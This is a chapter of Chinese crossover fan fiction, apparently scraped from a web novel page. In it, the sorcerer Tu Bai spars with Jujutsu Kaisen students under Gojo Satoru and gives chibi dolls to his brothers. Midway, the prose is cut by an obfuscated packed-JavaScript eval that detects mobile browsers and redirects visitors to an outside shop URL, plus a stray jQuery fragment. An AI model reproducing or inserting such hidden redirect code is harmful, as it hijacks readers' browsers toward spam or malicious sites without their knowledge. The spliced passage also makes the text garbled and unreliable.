周一早上九点,涂白站在咒术高专门口。
手机里是五条悟半小时前发的消息:【到了直接来操场,带上你的术式~】
涂白深吸一口气,走进校园。高专比他想象中安静,建筑古朴,庭院里种着枫树。路上没遇到人,他按着指示牌找到操场——一个露天的大型圆形场地,周围有结界围挡。
远远看去,已经有人了。
五条悟坐在场地边的长椅上,翘着腿玩手机。旁边站着三个学生:一个粉头发表情明朗的男生,一个黑发海胆头的冷淡男生,一个橘色短发的女生。三人穿着高专制服,看到涂白进来,目光齐刷刷转过来。
“哦,来了。”五条悟收起手机,“介绍一下,这位是一级咒术师涂白,今天临时请来当你们陪练的。”
三个学生朝涂白点头。粉头发男生挥手:“前辈好!我是虎杖悠仁!”
“伏黑惠。”
“钉崎野蔷薇。”
涂白回礼:“我是涂白,请多指教。”
“那么,”五条悟站起来,“今天的内容是实战适应训练。涂白会用他的构筑术式模拟各种攻击和防御,你们要配合破解。规则很简单——碰到他就算你们赢,被他困住超过十秒就算你们输。开始吧。”
涂白愣了一下:“前辈,我没说要当陪练……”
“现在说了。”五条悟拍拍他肩膀,“去吧,别放水。”
涂白被推进场地中央。三个学生分散开,虎杖在正面,伏黑在左,钉崎在右。气氛一下子紧张起来。
“涂白前辈,”虎杖摆出起手式,“得罪了!”
他率先冲过来,速度很快。涂白本能后退,同时双手一合,银色妖力涌出,在面前构筑出一面半透明的盾牌。
虎杖的拳头砸在盾上,发出闷响。盾牌晃了晃,没碎。
“哇,好硬!”
趁这个空档,伏黑双手结印:“鵺!”
一只巨大的猫头鹰式神从影子里飞出,扑向涂白头顶。涂白左手维持盾牌,右手向上一指,银色锁链从掌心射出,缠住式神的爪子。
钉崎从侧面突袭,手里握着锤子和钉子。涂白侧身躲开,同时用妖力在地面构筑出绊索。钉崎反应快,跳起来避开,但落地时涂白已经在她脚下构筑出一个小型结界——圆形的光牢,把她困在里面。
“钉崎,出局~”五条悟在场边喊,“十秒到了。”
钉崎捶结界壁:“可恶!”
伏黑指挥式神挣脱锁链,虎杖再次攻来。这次他换了角度,想绕到涂白侧面。涂白散掉盾牌,妖力重新凝聚,这次构筑出十几把短刀,悬浮在空中,刀尖对准两人。
“去。”
短刀齐射。虎杖用拳头格挡,伏黑用影子防御。叮叮当当一阵响,短刀被弹开,但涂白已经趁机拉开距离。
五条悟在场边看着,墨镜下的六眼全开。
他能看到涂白体内的妖力流动:每次构筑,妖力都会从核心涌向四肢,再通过手掌释放。构筑物的结构越复杂,妖力路径就越精细。那些银色的妖纹不是装饰,是能量传导的轨迹,像电路板一样。
盾牌的结构很标准,但锁链有点意思——每节锁环都是独立构筑再连接的,消耗更小。结界则是网状结构,节点分布均匀。
五条悟在手机备忘录里快速记录。
场上,战斗还在继续。涂白构筑出刀、剑、长矛、飞镖,各种武器轮番上阵。虎杖和伏黑配合不错,一个近战强攻,一个远程牵制,但始终碰不到涂白。
打了十分钟,两人都有些喘。涂白也消耗不小,额头冒汗。
“停。”五条悟喊。
三人停手。涂白散掉手里的长枪,银色光芒缩回掌心。
“不错不错。”五条悟走过来,“构筑速度比上次快了0.3秒,维持时间也长了。但精度有下降——最后那把枪的枪尖歪了0.5毫米,你自己没发现吧?”
涂白一愣,回忆刚才的手感。好像……确实有点偏?
“继续。”五条悟对虎杖和伏黑说,“这次加个条件:涂白,你不能移动位置。”
“啊?”涂白转头看他。
“站在圆心,半径五米内随意构筑,但脚不能离地。”五条悟说,“开始。”
虎杖和伏黑再次攻来。这次涂白不能躲,只能纯防御和反击。他构筑出四面盾牌围住自己,像个金属龟壳。虎杖的拳头和伏黑的式神攻击全打在盾上,砰砰作响。
五条悟看得更仔细了。
多重构筑,同时维持四个独立物体,妖力分成四股,每股的强度和稳定性都要控制得当。这对术式的精细度要求极高。
涂白咬着牙坚持。四面盾牌开始出现裂痕,他赶紧修复,但妖力消耗太快。
“够了。”五条悟再次叫停。
涂白松口气,散掉盾牌,腿有点软。
五条悟走到他面前,突然说:“试着构筑我。”
涂白抬头,没反应过来:“……什么?”
“我。”五条悟指了指自己,“用你的术式,构筑一个‘五条悟’。能做到吗?”
场边的三个学生也好奇地看过来。
涂白犹豫了。构筑活物……他没试过。但五条悟说的是“构筑我”,不是“复制一个活的我”,应该是构筑一个形象,像雕塑那样。
他集中精神,调动妖力。
银色光芒在掌心凝聚,慢慢成型。先是轮廓,然后是细节。身高,体型,衣服……但构筑到脸的时候,涂白卡住了。
他不敢仔细看五条悟的脸。尤其是那双眼睛,六眼的结构太复杂,他根本构筑不出来。
妖力开始不稳定,银色光团晃动。涂白有点急,下意识想到了一个简单的形象——卡通版的。
光芒稳定下来,成型。
一个二十厘米高的Q版玩偶,落在涂白手心。
白发,戴着小墨镜,穿着迷你版高专制服,手里还捏着一个更迷你的喜久福。脸是圆圆的,眼睛是两颗蓝色小珠子,嘴巴是向上弯的弧线。腿……有点短,身体比例像三头身。
全场安静。
虎杖第一个笑出来:“噗……好可爱!”
伏黑别过脸,肩膀在抖。钉崎凑过来看:“哇,这个好!比真人可爱多了!”
五条悟沉默了三秒。
然后他伸手,捏起玩偶的短腿:“我的腿哪有这么短?”
涂白脸红了:“因、因为Q版……”
“还有这个,”五条悟戳了戳玩偶手里的喜久福,“我就这么爱吃甜品?”
“……难道不是吗?”
五条悟盯着玩偶看了会儿,忽然笑了。
他一把抢过玩偶,塞进自己外套口袋。
“我要了。”
“前辈,还给我……”
“不给。”五条悟理直气壮,“这是学费。我今天指导你这么多,收个玩偶不过分吧?”
涂白张了张嘴,说不出反驳的话。
虎杖举手:“涂白前辈,能给我也做一个吗?我模样的!”
伏黑虽然没说话,但眼神也有点期待。钉崎:“我要个时髦点的!”
“不行。”五条悟挡在涂白面前,“他是我的御用搭档,只能构筑我。你们想要找别人去。”
虎杖小声吐槽:“五条老师真小气……”
“我听见了哦。”
训练结束,五条悟送涂白出校门。路上,涂白还在想那个玩偶。
确实挺可爱的。要不……自己也做几个?
他边走边调动妖力,在掌心又构筑出三个玩偶。一个粉色卷毛的兔宝,抱着根胡萝卜;一个银白长发的涂兔,拿着把小刀;还有一个黑色卷毛的自己,耳朵稍微露出来一点尖尖。
每个都是二十厘米高,做工精细。
五条悟瞥见:“这什么?”
“我哥哥和弟弟,还有我自己。”涂白说,“准备送他们的。”
五条悟盯着那个黑色卷毛的玩偶:“我要这个。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122997|195985||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“不行。”涂白立刻把玩偶藏到身后,“这是我自己的。”
“那你再做一个。”
“不要。”
五条悟想了想,从口袋里掏出那个Q版自己的玩偶:“交换。你给我你的,我给你我的。”
涂白犹豫了。
他在想,就算不换,回去也可以再构筑一个五条悟模样的玩偶。反正妖力够用……
“别想着偷偷再做我的。”五条悟突然说,笑眯眯的,“要是被我发现你私自构筑我的形象,我就告你侵犯肖像权哦。”
涂白一僵。
“换不换?”五条悟晃了晃手里的玩偶。
涂白咬牙,把黑色卷毛玩偶递过去。五条悟接过,仔细看了看:“耳朵怎么不是兔耳朵?不过这样也挺可爱的。”
他把自己的玩偶给涂白。涂白拿着,看着那个Q版五条悟,心情复杂。
算了,不能做五条悟的,回去再做一个自己的总行吧。构筑我自己,他肯定管不着。
---
晚上,涂白把兔宝的玩偶快递寄去横滨。附了张纸条:【哥,送你的。我自己做的。】
第二天,横滨。
涂宝收到包裹,拆开看到玩偶,眼泪汪汪:“二宝做的……好可爱!”
他抱着玩偶蹭了蹭,拍了张照片发给涂白:【收到了!最喜欢二宝了!】
刚发完,身后有人凑过来。
“什么好东西?”太宰治把下巴搁在涂宝肩上,看向他手里的玩偶,“哦?你弟弟做的?”
“嗯!”涂宝献宝似的举起来,“像我吗?”
“像。”太宰治伸手拿过玩偶,“我帮你保管吧。”
“诶?为什么?”
“因为是我男朋友模样的玩偶啊。”太宰治理所当然地说,“当然要由我来收藏。”
“但这是我弟弟送我的……”
“放在我这里,你也可以随时来看。”太宰治把玩偶收进自己风衣口袋,“好了,该去工作了。”
涂宝瘪嘴,但没敢要回来。
算了,放治君那里也行……反正他随时可以要回……大概。
---
同一时间,意大利西西里岛。
涂兔收到国际快递,拆开看到玩偶,眼睛亮了一下。他把玩偶摆在床头,拿起手机想拍照,又停住。
发给谁看?纲吉?
……不行,自己还没原谅他呢。上次那件事,明明是他不对。
涂兔放下手机,抱着膝盖坐在床上,盯着玩偶发呆。
傍晚,房门被敲响。
“兔兔?我能进来吗?”
是泽田纲吉的声音。涂兔没吭声,门还是开了。纲吉走进来,手里提着甜品盒,看见床头的玩偶,愣了一下。
“这是……”
“我二哥做的。”涂兔闷声说,“我的那份。”
“很可爱。”纲吉走过来,仔细看了看,“真的很像你。头发,眼睛,还有这个小刀……细节做得很好。你二哥手艺真厉害。”
涂兔偷偷竖起耳朵。
纲吉把甜品盒放在床头柜上,打开,里面是涂兔最喜欢的提拉米苏。
“兔兔,对不起。”纲吉轻声说,“我不该瞒着你出差。我保证下次一定提前说,好吗?”
涂兔不说话,但手指揪着床单。
纲吉在他身边坐下,小心地把他圈进怀里。涂兔象征性挣扎了一下,没挣开,就随他去了。
“这个玩偶,”纲吉继续夸,“真的做得很好。我可以拍张照吗?想设成手机壁纸。”
“……随便你。”
纲吉笑了,知道这是消气了。他拿起玩偶,拍了照,然后低头亲了亲涂兔的头发。
“下次带你回日本见你哥哥们,好不好?”
“哼,我可还没原谅你。”
话虽如此,但是涂兔还是往他怀里靠了靠。
玩偶静静地坐在床头,银色的头发在夕阳下泛着柔和的光。